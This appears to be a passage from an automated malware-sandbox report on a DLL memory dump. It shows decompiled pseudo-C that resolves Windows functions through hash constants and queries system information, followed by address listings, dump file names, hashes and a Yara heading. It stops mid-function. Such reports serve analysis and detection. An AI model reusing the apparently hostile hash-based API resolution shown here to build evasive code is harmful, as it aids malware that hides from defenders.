																						while( *((intOrPtr*)(_t244 + _t395 + 8)) != 0x4e2f8db7) {
																							_t359 = _t359 + 1;
																							_t244 = _t244 + 0x18;
																							if(_t359 < 0x10) {
																								continue;
																							} else {
																								goto L170;
																							}
																							goto L236;
																						}
																						_t241 =  *((intOrPtr*)(_t244 + _t395 + 0x14));
																						if(_t241 != 0) {
																							L174:
																							if(_t241 == 0) {
																								L176:
																								E6E679510(_t445 + 4);
																								if(_v108 != 0) {
																									E6E67BE30( &_v112, _t433);
																								}
																								goto L122;
																							} else {
																								_push( *_t433);
																								asm("int3");
																								return _t241;
																							}
																						} else {
																							goto L171;
																						}
																						goto L236;
																						L170:
																						asm("o16 nop [eax+eax]");
																						_t133 = _t395 + 0x180; // 0xf28e68
																						_t395 =  *_t133;
																					} while (_t395 != 0);
																					goto L171;
																				}
																			}
																		}
																	}
																} else {
																	goto L160;
																}
																goto L236;
																L159:
																asm("o16 nop [eax+eax]");
																_t127 = _t388 + 0x180; // 0xf28e68
																_t388 =  *_t127;
															} while (_t388 != 0);
															goto L160;
														}
													}
												} else {
													if(_v84 != 0) {
														E6E67BE30( &_v88, _t432);
													}
													goto L122;
												}
											} else {
												if( *((char*)(_t445 + 0x198)) != 0) {
													E6E67BE30( &_v84, _t432);
												}
												L122:
												_t434 = _t314;
												_t219 =  *0x6e68b1f0; // 0xf20528
												 *(_t219 + 0x2c) = _t434;
												goto L124;
											}
										} else {
											_t264 = E6E665100(_t419, _t432, _t439);
											_t400 =  *0x6e68b1f0; // 0xf20528
											if(_t264 == 0) {
												if( *((char*)(_t400 + 0x28)) == 0) {
													 *(_t400 + 0x2c) = 3;
												} else {
													 *(_t400 + 0x2c) = 5;
												}
											} else {
												 *(_t400 + 0x2c) = 6;
											}
											L124:
											_t389 =  *0x6e68b1f4; // 0xf21340
											if(_t389 == 0xc139578) {
												 *0x6e68b1f4 = 0;
												goto L130;
											} else {
												if(_t389 == 0) {
													L130:
													_push(0xa1310f65);
													_t316 = E6E667564(0xa1310f65);
													if(_t316 == 0) {
														if(E6E666C50(0xa1310f65) != 0) {
															_push(0xa1310f65);
															_t316 = E6E667564(0xa1310f65);
														}
													}
													if(_t316 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t392 = E6E6667C8(_t316, 0x4e85f18d);
														goto L133;
													}
												} else {
													do {
														_t354 = _t314;
														_t229 = _t354;
														while( *((intOrPtr*)(_t229 + _t389 + 8)) != 0x4e85f18d) {
															_t354 = _t354 + 1;
															_t229 = _t229 + 0x18;
															if(_t354 < 0x10) {
																continue;
															} else {
																goto L129;
															}
															goto L135;
														}
														_t392 =  *((intOrPtr*)(_t229 + _t389 + 0x14));
														if(_t392 != 0) {
															L133:
															if(_t392 != 0) {
																GetSystemInfo( &_v156);
															}
														} else {
															goto L130;
														}
														goto L135;
														L129:
														asm("o16 nop [eax+eax]");
														_t103 = _t389 + 0x180; // 0xf28e68
														_t389 =  *_t103;
													} while (_t389 != 0);
													goto L130;
												}
											}
											L135:
											_t223 =  *0x6e68b1f0; // 0xf20528
											 *((short*)(_t223 + 0xe)) = _v156.dwAllocationGranularity;
											 *((intOrPtr*)(_t223 + 0x10)) = _v156.lpMaximumApplicationAddress;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t445 + 0x16c));
											 *((intOrPtr*)(_t223 + 0x18)) = _v156.dwNumberOfProcessors;
											 *((intOrPtr*)(_t223 + 0x1c)) = _v120;
											return _t223;
										}
									} else {
										_push(_t416);
										asm("int3");
										return _t308;
									}
								} else {
									break;
								}
								goto L236;
								L10:
								asm("o16 nop [eax+eax]");
								_t6 = _t377 + 0x180; // 0xf28e68
								_t377 =  *_t6;
							} while (_t377 != 0);
							L11:
							_push(0xa1310f65);
							_t425 = E6E667564(0xa1310f65);
							if(_t425 == 0) {
								if(E6E666C50(0xa1310f65) != 0) {
									_push(0xa1310f65);
									_t425 = E6E667564(0xa1310f65);
								}
							}
							if(_t425 == 0) {
								goto L16;
							} else {
								_t445 = _t445 + 0xfffffff8;
								_t308 = E6E6667C8(_t425, 0x13e99f60);
								goto L14;
							}
						}
					}
				} else {
					return _t163;
				}
				L236:
			}

0x6e663931
0x6e663936
0x6e663937
0x6e663938
0x6e663939
0x6e66393f
0x6e663941
0x6e66394b
0x6e66478e
0x6e664790
0x6e664795
0x6e664798
0x6e664798
0x6e663955
0x6e66396a
0x6e663976
0x6e66397b
0x6e66397e
0x6e663984
0x6e663992
0x6e66477d
0x6e664787
0x00000000
0x6e663998
0x6e66399a
0x6e6647a2
0x00000000
0x6e6639a0
0x6e6639a0
0x6e6639a2
0x6e6639a2
0x6e6639a4
0x6e6639a6
0x6e6639b4
0x6e6639b5
0x6e6639bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6639bb
0x6e66476c
0x6e664772
0x6e6639f5
0x6e6639f7
0x6e6639fc
0x6e6639fc
0x6e663a06
0x6e663a0a
0x6e663a0e
0x6e663a14
0x6e663a17
0x6e663a2d
0x6e663a32
0x6e663a3a
0x6e663a41
0x6e663a44
0x6e663a4a
0x6e663a51
0x6e663a59
0x6e664739
0x00000000
0x6e663a5f
0x6e663a61
0x6e663a8e
0x6e663a93
0x6e663a99
0x6e663a9d
0x6e664710
0x6e66471b
0x6e664721
0x6e664721
0x6e664710
0x6e663aa5
0x6e663aae
0x6e663ab6
0x00000000
0x6e663ab6
0x6e663a63
0x6e663a63
0x6e663a63
0x6e663a65
0x6e663a67
0x6e663a75
0x6e663a76
0x6e663a7c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e663a7c
0x6e664728
0x6e66472e
0x6e663ab8
0x6e663aba
0x6e663ac6
0x6e663ac6
0x00000000
0x6e664734
0x00000000
0x6e664734
0x00000000
0x6e663a7e
0x6e663a7e
0x6e663a84
0x6e663a84
0x6e663a8a
0x00000000
0x6e663a63
0x6e663a61
0x6e663ac8
0x6e663ac8
0x6e663ad5
0x6e663add
0x6e663ad7
0x6e663ad7
0x6e663ad7
0x6e663ae1
0x6e663ae6
0x6e663aee
0x6e663af9
0x6e663b05
0x6e663b0c
0x6e663b14
0x6e663b1c
0x6e663b25
0x6e663b2e
0x6e663b30
0x6e663b35
0x6e663b37
0x6e663b44
0x6e663b4b
0x6e663b5d
0x6e663b62
0x6e663b63
0x6e663b65
0x6e663b6a
0x6e663b72
0x6e663b7b
0x6e663b82
0x6e663b9b
0x6e663ba0
0x6e663bae
0x6e663bb3
0x6e663bb7
0x6e663bbe
0x6e663c22
0x6e663c27
0x6e663c3a
0x6e663c3e
0x6e663c57
0x6e663c5c
0x6e663c6f
0x6e663c78
0x6e663c7f
0x6e663cd3
0x6e66465c
0x6e66466f
0x6e66467c
0x6e66467e
0x6e664687
0x6e664692
0x6e66468e
0x6e66468e
0x6e66468e
0x6e664699
0x6e66469c
0x6e66469c
0x6e664699
0x6e6646a1
0x6e6646ac
0x00000000
0x6e66465e
0x6e664661
0x6e6646bd
0x6e6646ca
0x6e6646cc
0x6e6646d5
0x6e6646e0
0x6e6646dc
0x6e6646dc
0x6e6646dc
0x6e6646e7
0x6e6646ea
0x6e6646ea
0x6e6646e7
0x6e6646ef
0x6e6646fa
0x00000000
0x6e664663
0x00000000
0x6e664663
0x6e664661
0x00000000
0x6e663cd9
0x6e663cdc
0x00000000
0x6e664108
0x6e66410f
0x6e66411c
0x6e66411e
0x6e664127
0x6e664132
0x6e66412e
0x6e66412e
0x6e66412e
0x6e664139
0x6e66413c
0x6e66413c
0x6e664139
0x6e664141
0x6e66414c
0x6e66414c
0x6e663cdc
0x6e663c81
0x6e663c83
0x6e663ce7
0x6e663cee
0x6e663cfb
0x6e663cfd
0x6e663d06
0x6e663d11
0x6e663d0d
0x6e663d0d
0x6e663d0d
0x6e663d18
0x6e663d1b
0x6e663d1b
0x6e663d18
0x6e663d20
0x6e663d2b
0x6e663c85
0x6e663c8c
0x6e663c99
0x6e663c9b
0x6e663ca4
0x6e663caf
0x6e663cab
0x6e663cab
0x6e663cab
0x6e663cb6
0x6e663cb9
0x6e663cb9
0x6e663cb6
0x6e663cbe
0x6e663cc9
0x6e663cc9
0x6e663c83
0x6e663bc0
0x6e663bc7
0x6e663bd4
0x6e663bd6
0x6e663bdf
0x6e663bea
0x6e663be6
0x6e663be6
0x6e663be6
0x6e663bf1
0x6e663bf4
0x6e663bf4
0x6e663bf1
0x6e663bf9
0x6e663c04
0x6e663c04
0x6e663afb
0x6e663afb
0x6e663afb
0x6e663d2d
0x6e663d2d
0x6e663d33
0x6e663d3e
0x6e663d41
0x6e663d4d
0x6e66464b
0x00000000
0x6e663d53
0x6e663d55
0x6e663d82
0x6e663d87
0x6e663d8d
0x6e663d91
0x6e664622
0x6e66462d
0x6e664633
0x6e664633
0x6e664622
0x6e663d99
0x00000000
0x6e663d9f
0x6e663da6
0x6e663dae
0x00000000
0x6e663dae
0x6e663d57
0x6e663d57
0x6e663d57
0x6e663d59
0x6e663d5b
0x6e663d69
0x6e663d6a
0x6e663d70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e663d70
0x6e66463a
0x6e664640
0x6e663db0
0x6e663db2
0x6e663e6d
0x6e663e6d
0x6e663db8
0x6e663dbf
0x6e663dc0
0x6e663dc2
0x6e663dc8
0x00000000
0x6e663dce
0x6e663dce
0x6e663dda
0x6e66418b
0x00000000
0x6e663de0
0x6e663de2
0x6e663e0f
0x6e663e14
0x6e663e1a
0x6e663e1e
0x6e664162
0x6e66416d
0x6e664173
0x6e664173
0x6e664162
0x6e663e26
0x00000000
0x6e663e28
0x6e663e2f
0x6e663e37
0x00000000
0x6e663e37
0x6e663de4
0x6e663de4
0x6e663de4
0x6e663de6
0x6e663de8
0x6e663df6
0x6e663df7
0x6e663dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e663dfd
0x6e66417a
0x6e664180
0x6e663e39
0x6e663e3b
0x00000000
0x6e663e3d
0x6e663e58
0x6e663e5c
0x00000000
0x6e663e5e
0x6e663e68
0x6e663e68
0x6e663e5c
0x6e664186
0x00000000
0x6e664186
0x00000000
0x6e663dff
0x6e663dff
0x6e663e05
0x6e663e05
0x6e663e0b
0x00000000
0x6e663de4
0x6e663de2
0x6e663dda
0x6e663dc8
0x6e664646
0x00000000
0x6e664646
0x00000000
0x6e663d72
0x6e663d72
0x6e663d78
0x6e663d78
0x6e663d7e
0x00000000
0x6e663d57
0x6e663d55
0x6e663e6f
0x6e663e6f
0x6e663e75
0x6e663e8a
0x6e663e8d
0x6e663ec8
0x6e663ece
0x6e663edf
0x6e664607
0x00000000
0x6e663ee5
0x6e663ee7
0x6e663f14
0x6e663f19
0x6e663f1f
0x6e663f23
0x6e6645de
0x6e6645e9
0x6e6645ef
0x6e6645ef
0x6e6645de
0x6e663f2b
0x6e663f34
0x6e663f3c
0x00000000
0x6e663f3c
0x6e663ee9
0x6e663ee9
0x6e663ee9
0x6e663eeb
0x6e663eed
0x6e663efb
0x6e663efc
0x6e663f02
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e663f02
0x6e6645f6
0x6e6645fc
0x6e663f3e
0x6e663f40
0x6e663f4e
0x6e663f4e
0x6e664602
0x00000000
0x6e664602
0x00000000
0x6e663f04
0x6e663f04
0x6e663f0a
0x6e663f0a
0x6e663f10
0x00000000
0x6e663ee9
0x6e663ee7
0x6e663f50
0x6e663f57
0x6e663f5e
0x6e663f60
0x6e663f6b
0x6e663f8c
0x6e663f92
0x6e663fa3
0x6e6645c3
0x00000000
0x6e663fa9
0x6e663fab
0x6e663fd8
0x6e663fdd
0x6e663fe3
0x6e663fe7
0x6e66459a
0x6e6645a5
0x6e6645ab
0x6e6645ab
0x6e66459a
0x6e663fef
0x6e663ff8
0x6e664000
0x00000000
0x6e664000
0x6e663fad
0x6e663fad
0x6e663fad
0x6e663faf
0x6e663fb1
0x6e663fbf
0x6e663fc0
0x6e663fc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e663fc6
0x6e6645b2
0x6e6645b8
0x6e664002
0x6e664004
0x6e664019
0x6e664019
0x6e6645be
0x00000000
0x6e6645be
0x00000000
0x6e663fc8
0x6e663fc8
0x6e663fce
0x6e663fce
0x6e663fd4
0x00000000
0x6e663fad
0x6e663fab
0x6e66401b
0x6e66401b
0x6e664024
0x6e6641de
0x6e6641e3
0x6e6641f3
0x6e6641f5
0x6e664201
0x6e66457f
0x00000000
0x6e664207
0x6e664209
0x6e664236
0x6e66423b
0x6e664241
0x6e664245
0x6e664556
0x6e664561
0x6e664567
0x6e664567
0x6e664556
0x6e66424d
0x00000000
0x6e664253
0x6e66425a
0x6e664262
0x00000000
0x6e664262
0x6e66420b
0x6e66420b
0x6e66420b
0x6e66420d
0x6e66420f
0x6e66421d
0x6e66421e
0x6e664224
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664224
0x6e66456e
0x6e664574
0x6e664264
0x6e664266
0x6e664470
0x6e664474
0x6e664481
0x6e66448e
0x6e66448e
0x00000000
0x6e66426c
0x6e664285
0x6e664289
0x00000000
0x6e66428f
0x6e66428f
0x6e66429b
0x6e66453b
0x00000000
0x6e6642a1
0x6e6642a3
0x6e6642d0
0x6e6642d5
0x6e6642db
0x6e6642e2
0x6e664511
0x6e66451c
0x6e664522
0x6e664522
0x6e664511
0x6e6642ec
0x00000000
0x6e6642f2
0x6e6642f2
0x6e6642fe
0x00000000
0x6e6642fe
0x6e6642a5
0x6e6642a5
0x6e6642a5
0x6e6642a7
0x6e6642a9
0x6e6642b7
0x6e6642b8
0x6e6642be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6642be
0x6e66452a
0x6e664530
0x6e664303
0x6e664305
0x6e664448
0x6e66444c
0x6e664459
0x6e664466
0x6e664466
0x00000000
0x6e66430b
0x6e66430b
0x6e66430d
0x6e66430e
0x6e66430e
0x6e664536
0x00000000
0x6e664536
0x00000000
0x6e6642c0
0x6e6642c0
0x6e6642c6
0x6e6642c6
0x6e6642cc
0x00000000
0x6e6642a5
0x6e6642a3
0x6e66429b
0x6e664289
0x6e66457a
0x00000000
0x6e66457a
0x00000000
0x6e664226
0x6e664226
0x6e66422c
0x6e66422c
0x6e664232
0x00000000
0x6e66420b
0x6e664209
0x6e66402a
0x6e664032
0x6e66403b
0x6e66403b
0x00000000
0x6e664032
0x6e663f6d
0x6e663f75
0x6e663f82
0x6e663f82
0x6e664040
0x6e664040
0x6e664042
0x6e664047
0x00000000
0x6e664047
0x6e663e8f
0x6e663e8f
0x6e663e94
0x6e663e9c
0x6e663eae
0x6e663ebc
0x6e663eb0
0x6e663eb0
0x6e663eb0
0x6e663e9e
0x6e663e9e
0x6e663e9e
0x6e66404a
0x6e66404a
0x6e664056
0x6e6641cf
0x00000000
0x6e66405c
0x6e66405e
0x6e66408b
0x6e664090
0x6e664096
0x6e66409a
0x6e6641a6
0x6e6641b1
0x6e6641b7
0x6e6641b7
0x6e6641a6
0x6e6640a2
0x6e6640ab
0x6e6640b3
0x00000000
0x6e6640b3
0x6e664060
0x6e664060
0x6e664060
0x6e664062
0x6e664064
0x6e664072
0x6e664073
0x6e664079
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e664079
0x6e6641be
0x6e6641c4
0x6e6640b5
0x6e6640b7
0x6e6640c1
0x6e6640c1
0x6e6641ca
0x00000000
0x6e6641ca
0x00000000
0x6e66407b
0x6e66407b
0x6e664081
0x6e664081
0x6e664087
0x00000000
0x6e664060
0x6e66405e
0x6e6640c3
0x6e6640c3
0x6e6640eb
0x6e6640ef
0x6e6640f2
0x6e6640f5
0x6e6640f8
0x6e664107
0x6e664107
0x6e6639f9
0x6e6639f9
0x6e6639fa
0x6e6639fb
0x6e6639fb
0x6e664778
0x00000000
0x6e664778
0x00000000
0x6e6639bd
0x6e6639bd
0x6e6639c3
0x6e6639c3
0x6e6639c9
0x6e6639cd
0x6e6639d2
0x6e6639d8
0x6e6639dc
0x6e664754
0x6e66475f
0x6e664765
0x6e664765
0x6e664754
0x6e6639e4
0x00000000
0x6e6639e6
0x6e6639ed
0x6e6639f0
0x00000000
0x6e6639f0
0x6e6639e4
0x6e66399a
0x6e66395d
0x6e663969
0x6e663969
0x00000000

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e16723b3ce691fe420426303a77b1dda5d810f670f4925fa6c7f208bbe83f0
Instruction ID: cfe9e6e63d70aa4bf8b2dc6bd2faf2c7f79bc8659592e31a923cd94f71615450
Opcode Fuzzy Hash: 53e16723b3ce691fe420426303a77b1dda5d810f670f4925fa6c7f208bbe83f0
Instruction Fuzzy Hash: FA5228306643429BDB608BA9C8B47DA77A9BFD330CF14862DD4558B395EB70C845C793

Uniqueness

Uniqueness Score: -1.00%

Function 6E666C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E666C50(signed int __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t135;
				intOrPtr _t138;
				void* _t143;
				void* _t147;
				void* _t151;
				struct _OBJDIR_INFORMATION _t164;
				void* _t170;
				intOrPtr _t183;
				struct _OBJDIR_INFORMATION _t197;
				struct _OBJDIR_INFORMATION _t206;
				long _t212;
				void* _t215;
				intOrPtr _t246;
				signed int _t278;
				signed int _t279;
				void* _t281;
				intOrPtr _t282;
				void* _t291;
				void* _t340;
				struct _OBJDIR_INFORMATION _t342;
				intOrPtr _t345;
				struct _OBJDIR_INFORMATION _t363;
				intOrPtr _t366;
				struct _OBJDIR_INFORMATION _t382;
				struct _OBJDIR_INFORMATION _t389;
				struct _OBJDIR_INFORMATION _t390;
				struct _OBJDIR_INFORMATION _t391;
				intOrPtr* _t394;
				void* _t395;
				intOrPtr* _t397;
				void* _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t404;
				void* _t405;
				void* _t406;
				short* _t407;
				void* _t408;
				void* _t410;
				void* _t411;
				intOrPtr _t412;
				intOrPtr* _t413;
				short* _t418;
				void* _t420;
				void* _t421;
				intOrPtr* _t422;
				void* _t424;
				void* _t425;
				struct _OBJDIR_INFORMATION* _t426;

				_t278 = __ecx;
				E6E668810(_t426 + 0x2c8, 0);
				E6E668810(_t426 + 0x2d0, 0);
				_t135 = E6E663930(__ecx, 0, _t399, _t406); // executed
				_t412 =  *0x6e68b208;
				if( *((char*)(_t135 + 0xb)) == 0x40) {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t413 = E6E661030();
						_t426 = _t426 + 4;
						if(_t413 == 0) {
							_t413 = 0;
						} else {
							_t122 = _t413 + 8; // 0x8
							 *_t413 = 0;
							 *((intOrPtr*)(_t413 + 4)) = 0;
							E6E668810(_t122, 0);
							_t124 = _t413 + 0x10; // 0x10
							E6E668810(_t124, 0);
							_t125 = _t413 + 0x18; // 0x18
							E6E668810(_t125, 0);
							_t126 = _t413 + 0x20; // 0x20
							E6E668810(_t126, 0);
							_t127 = _t413 + 0x28; // 0x28
							E6E668810(_t127, 0);
							_t128 = _t413 + 0x30; // 0x30
							E6E668810(_t128, 0);
							_t129 = _t413 + 0x38; // 0x38
							E6E668810(_t129, 0);
							_t130 = _t413 + 0x40; // 0x40
							E6E668810(_t130, 0);
							_t131 = _t413 + 0x48; // 0x48
							E6E668810(_t131, 0);
							_t410 = 6;
							_t132 = _t413 + 0x50; // 0x50
							_t404 = _t132;
							do {
								E6E668810(_t404, 0);
								_t404 = _t404 + 8;
								_t410 = _t410 - 1;
							} while (_t410 != 0);
						}
						 *0x6e68b208 = _t413;
					}
					if(E6E669DC0(_t413 + 0x38) != 0) {
						E6E668810(_t426 + 0x26c, 0x80);
						_t342 =  *0x6e68b1f4; // 0xf21340
						if(_t342 == 0xc139578) {
							 *0x6e68b1f4 = 0;
							goto L86;
						} else {
							if(_t342 == 0) {
								L86:
								_push(0xa1310f65);
								_t420 = E6E667564(0xa1310f65);
								if(_t420 == 0) {
									if(E6E666C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t420 = E6E667564(0xa1310f65);
									}
								}
								if(_t420 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t394 = E6E6667C8(_t420, 0x7c2e142f);
									goto L89;
								}
							} else {
								do {
									_t421 = 0;
									_t395 = 0;
									while( *((intOrPtr*)(_t395 + _t342 + 8)) != 0x7c2e142f) {
										_t421 = _t421 + 1;
										_t395 = _t395 + 0x18;
										if(_t421 < 0x10) {
											continue;
										} else {
											goto L85;
										}
										goto L91;
									}
									_t394 =  *((intOrPtr*)(_t395 + _t342 + 0x14));
									if(_t394 != 0) {
										L89:
										if(_t394 != 0) {
											 *_t394( *(_t426 + 0x26c),  *(_t426 + 0x26c) >> 1);
										}
									} else {
										goto L86;
									}
									goto L91;
									L85:
									asm("o16 nop [eax+eax]");
									_t109 = _t342 + 0x180; // 0xf28e68
									_t342 =  *_t109;
								} while (_t342 != 0);
								goto L86;
							}
						}
						L91:
						if(( *(E6E669DE0(_t426 + 0x268)) & 0x0000ffff) != 0x5c) {
							E6E6696D0(_t426 + 0x26c, 0x5c);
						}
						_t345 =  *0x6e68b208; // 0xf273e0
						E6E668CC0(_t345 + 0x38,  *((intOrPtr*)(_t426 + 0x268)));
						E6E668CA0(_t426 + 0x268);
					}
					_t138 =  *0x6e68b208; // 0xf273e0
					E6E6688C0(_t426 + 0x274, _t138 + 0x38);
					E6E668CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x270)));
					_t291 = _t426 + 0x270;
				} else {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t422 = E6E661030();
						_t426 = _t426 + 4;
						if(_t422 == 0) {
							_t422 = 0;
						} else {
							_t95 = _t422 + 8; // 0x8
							 *_t422 = 0;
							 *((intOrPtr*)(_t422 + 4)) = 0;
							E6E668810(_t95, 0);
							_t97 = _t422 + 0x10; // 0x10
							E6E668810(_t97, 0);
							_t98 = _t422 + 0x18; // 0x18
							E6E668810(_t98, 0);
							_t99 = _t422 + 0x20; // 0x20
							E6E668810(_t99, 0);
							_t100 = _t422 + 0x28; // 0x28
							E6E668810(_t100, 0);
							_t101 = _t422 + 0x30; // 0x30
							E6E668810(_t101, 0);
							_t102 = _t422 + 0x38; // 0x38
							E6E668810(_t102, 0);
							_t103 = _t422 + 0x40; // 0x40
							E6E668810(_t103, 0);
							_t104 = _t422 + 0x48; // 0x48
							E6E668810(_t104, 0);
							_t411 = 6;
							_t105 = _t422 + 0x50; // 0x50
							_t405 = _t105;
							do {
								E6E668810(_t405, 0);
								_t405 = _t405 + 8;
								_t411 = _t411 - 1;
							} while (_t411 != 0);
						}
						 *0x6e68b208 = _t422;
					}
					if(E6E669DC0(_t422 + 0x30) != 0) {
						E6E668810(_t426 + 0x27c, 0x80);
						_t363 =  *0x6e68b1f4; // 0xf21340
						if(_t363 == 0xc139578) {
							 *0x6e68b1f4 = 0;
							goto L10;
						} else {
							if(_t363 == 0) {
								L10:
								_push(0xa1310f65);
								_t424 = E6E667564(0xa1310f65);
								if(_t424 == 0) {
									if(E6E666C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t424 = E6E667564(0xa1310f65);
									}
								}
								if(_t424 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t397 = E6E6667C8(_t424, 0x4ade4070);
									goto L13;
								}
							} else {
								do {
									_t425 = 0;
									_t398 = 0;
									while( *((intOrPtr*)(_t398 + _t363 + 8)) != 0x4ade4070) {
										_t425 = _t425 + 1;
										_t398 = _t398 + 0x18;
										if(_t425 < 0x10) {
											continue;
										} else {
											goto L9;
										}
										goto L15;
									}
									_t397 =  *((intOrPtr*)(_t398 + _t363 + 0x14));
									if(_t397 != 0) {
										L13:
										if(_t397 != 0) {
											 *_t397( *(_t426 + 0x27c),  *(_t426 + 0x27c) >> 1);
										}
										goto L15;
									} else {
										goto L10;
									}
									L106:
									L9:
									asm("o16 nop [eax+eax]");
									_t7 = _t363 + 0x180; // 0xf28e68
									_t363 =  *_t7;
								} while (_t363 != 0);
								goto L10;
							}
						}
						L15:
						if(( *(E6E669DE0(_t426 + 0x278)) & 0x0000ffff) != 0x5c) {
							E6E6696D0(_t426 + 0x27c, 0x5c);
						}
						_t366 =  *0x6e68b208; // 0xf273e0
						E6E668CC0(_t366 + 0x30,  *((intOrPtr*)(_t426 + 0x278)));
						E6E668CA0(_t426 + 0x278);
					}
					_t246 =  *0x6e68b208; // 0xf273e0
					E6E6688C0(_t426 + 0x2c0, _t246 + 0x30);
					E6E668CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x2bc)));
					_t291 = _t426 + 0x2bc;
				}
				E6E668CA0(_t291);
				_t143 = E6E670220(_t426 + 0x2d4,  *((intOrPtr*)(_t426 + 0x2c8)), 0);
				E6E668810(_t426 + 0x2d8, 0x2800);
				_t407 =  *((intOrPtr*)(_t426 + 0x2d4));
				 *_t407 = 0;
				E6E679470(_t426 + 0x2ac, 0x6e68a1a0, 0x28);
				_t147 = E6E679640(_t426 + 0x2a8, 0);
				E6E67E780(_t278, _t147, E6E679650(_t426 + 0x2a4));
				 *((intOrPtr*)(_t426 + 0x294)) = _t407;
				 *((char*)(_t426 + 0x290)) = 0;
				 *((intOrPtr*)(_t426 + 0x298)) = 0;
				 *((intOrPtr*)(_t426 + 0x29c)) = 2;
				 *((char*)(_t426 + 0x2a0)) = 1;
				_t151 = E6E679640(_t426 + 0x2a8, 0);
				_push(_t426 + 0x290);
				_push(E6E667CD0);
				_push(0);
				_push(0x7fffffff);
				_push(0x6e68a1c8);
				E6E67E5D0(_t151, 0x28, _t407);
				E6E679510(_t426 + 0x2a4);
				E6E670220(_t143,  *((intOrPtr*)(_t426 + 0x2d8)), 0);
				E6E668CA0(_t426 + 0x2d4);
				 *_t426 = 0;
				 *(_t426 + 4) = 1;
				 *((intOrPtr*)(_t426 + 8)) = 0;
				 *((intOrPtr*)(_t426 + 0xc)) = 3;
				E6E668AB0(_t426 + 0x18,  *((intOrPtr*)(_t426 + 0x2d0)), 0);
				_push(1);
				if(E6E67CEA0(_t278, _t426 + 4, 0x28, _t143, _t407) == 0) {
					L53:
					E6E668CA0(_t426 + 0x10);
					if( *(_t426 + 4) != 0) {
						_t382 =  *_t426;
						if(_t382 == 0 || _t382 == 0xffffffff) {
							_t164 = 1;
						} else {
							_t164 = 0;
						}
						if(_t164 == 0) {
							E6E67CE70(_t382);
						}
					}
					 *_t426 = 0;
					E6E668CA0(_t426 + 0x2cc);
					E6E668CA0(_t426 + 0x2c4);
					return 0;
				} else {
					_t279 = _t278 ^ 0x38ba5c7b;
					_t408 = _t426 + 0x44;
					_t401 = _t426 + 0x2e8;
					while(1) {
						E6E668AB0(_t426 + 0x2e8, _t408, 0);
						E6E669E70(_t426 + 0x2e4, _t401);
						E6E6683B0(_t426 + 0x2f0);
						_t170 = E6E67D620( *((intOrPtr*)(_t426 + 0x2f0)), E6E676040( *((intOrPtr*)(_t426 + 0x2f0)), 0x7fffffff));
						E6E670B10(_t426 + 0x2f0);
						if(_t279 == _t170) {
							break;
						}
						E6E668CA0(_t401);
						E6E668CA0(_t426 + 0x2e0);
						if(E6E67D0E0(_t426) != 0) {
							continue;
						} else {
							goto L53;
						}
						goto L106;
					}
					E6E668CA0(_t401);
					E6E6688C0(_t426 + 0x2b8, _t426 + 0x2c4);
					E6E670220(_t426 + 0x2bc,  *((intOrPtr*)(_t426 + 0x2e4)), 0);
					_t409 =  *((intOrPtr*)(_t426 + 0x2b4));
					_push(E6E670180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff,  *((intOrPtr*)(_t426 + 0x2b4))) + _t179 + 0xa);
					E6E679350(_t426 + 0x284);
					_t418 = E6E679640(_t426 + 0x284, 0);
					_t183 = E6E679640(_t426 + 0x284, 8);
					_t402 = E6E670180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff, _t409);
					 *((intOrPtr*)(_t418 + 4)) = _t183;
					 *_t418 = _t402 + _t402;
					 *((short*)(_t418 + 2)) = _t402 + _t402 + 2;
					E6E6701B0(_t183, _t409, _t402 + _t402 + 2, _t409, 0);
					_t389 =  *0x6e68b1f4; // 0xf21340
					 *(_t426 + 0x2dc) = 0;
					if(_t389 == 0xc139578) {
						 *0x6e68b1f4 = 0;
						goto L29;
					} else {
						if(_t389 == 0) {
							L29:
							_push(0x588ab3ea);
							_t281 = E6E667564(0x588ab3ea);
							if(_t281 == 0) {
								if(E6E666C50(0x588ab3ea) != 0) {
									_push(0x588ab3ea);
									_t281 = E6E667564(0x588ab3ea);
								}
							}
							if(_t281 == 0) {
								goto L43;
							} else {
								_t426 = _t426 + 0xfffffff8;
								_t282 = E6E6667C8(_t281, 0x208c2589);
								goto L32;
							}
						} else {
							do {
								_t340 = 0;
								_t215 = 0;
								while( *((intOrPtr*)(_t215 + _t389 + 8)) != 0x208c2589) {
									_t340 = _t340 + 1;
									_t215 = _t215 + 0x18;
									if(_t340 < 0x10) {
										continue;
									} else {
										goto L28;
									}
									goto L106;
								}
								_t282 =  *((intOrPtr*)(_t215 + _t389 + 0x14));
								if(_t282 != 0) {
									L32:
									if(_t282 == 0) {
										L43:
										if( *(_t426 + 0x2dc) == 0) {
											goto L35;
										} else {
